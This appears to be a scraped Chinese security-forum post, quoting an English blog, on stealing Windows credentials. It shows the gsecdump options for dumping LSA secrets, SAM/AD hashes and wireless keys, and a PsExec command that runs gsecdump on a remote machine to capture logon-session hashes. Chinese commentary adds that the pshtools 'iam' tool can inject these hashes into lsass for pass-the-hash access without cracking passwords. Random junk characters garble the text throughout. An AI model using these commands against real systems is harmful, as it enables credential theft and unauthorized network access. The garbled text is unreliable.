, L- K9 \# a- N0 X3 D6 K7 XC:\WINDOWS\system32>gsecdump -h* `; g$ ^- p5 v0 l
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se) % ]% w: A [6 \7 J. |- gusage: gsecdump [options] : N$ @9 p, z. l% Y4 ], \! y2 Y @8 V% @4 B4 g+ p
options:( B7 Z3 b* t4 H
-h [ --help ] show help $ ^( E* }$ V% K; i/ _-a [ --dump_all ] dump all secrets8 s+ w) u* F) a
-l [ --dump_lsa ] dump lsa secrets 3 F4 n+ M5 T9 \% Z' j-w [ --dump_wireless ] dump microsoft wireless connections a8 k3 m, f7 w" G( s-u [ --dump_usedhashes ] dump hashes from active logon sessions 7 K5 n' N f2 a8 G+ n( P-s [ --dump_hashes ] dump hashes from SAM/AD. @0 L/ ]$ L7 E0 h) l
" {2 S) o0 p3 jAlthough I like to use:( F/ B$ h# t7 }1 j: e
0 Y6 h7 L" }5 r7 nPsExec v1.83 - Execute processes remotely 9 i9 _" O3 m6 e, F. JCopyright (C) 2001-2007 Mark Russinovich) a* s* t$ u, s- V# h4 {
Sysinternals - 链接标记[url]www.sysinternals.com[/url] 8 M9 _7 ]4 F6 M% _" r: Z/ B 8 ~' u( U5 w# U+ ~2 oC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT+ D2 f* n; `7 o
m2 O5 _2 S; W+ N2 f- {* Oto get the hashes from active logon sessions of a remote system. $ q% ?1 }, A' d" |$ y8 K. z, z9 s' B- i k p! A: q8 [# p) j( w" d! }! B* d
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables. . c' ?; e" I; u- `% i$ M) g) l: ?- r) m' ?
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了. . E+ e7 q A8 z原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]; F# i( H3 `7 n5 r# n' e
$ t* |! S+ [7 L. e9 w# a. p/ g- {
我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。3 w I" [1 O! W/ i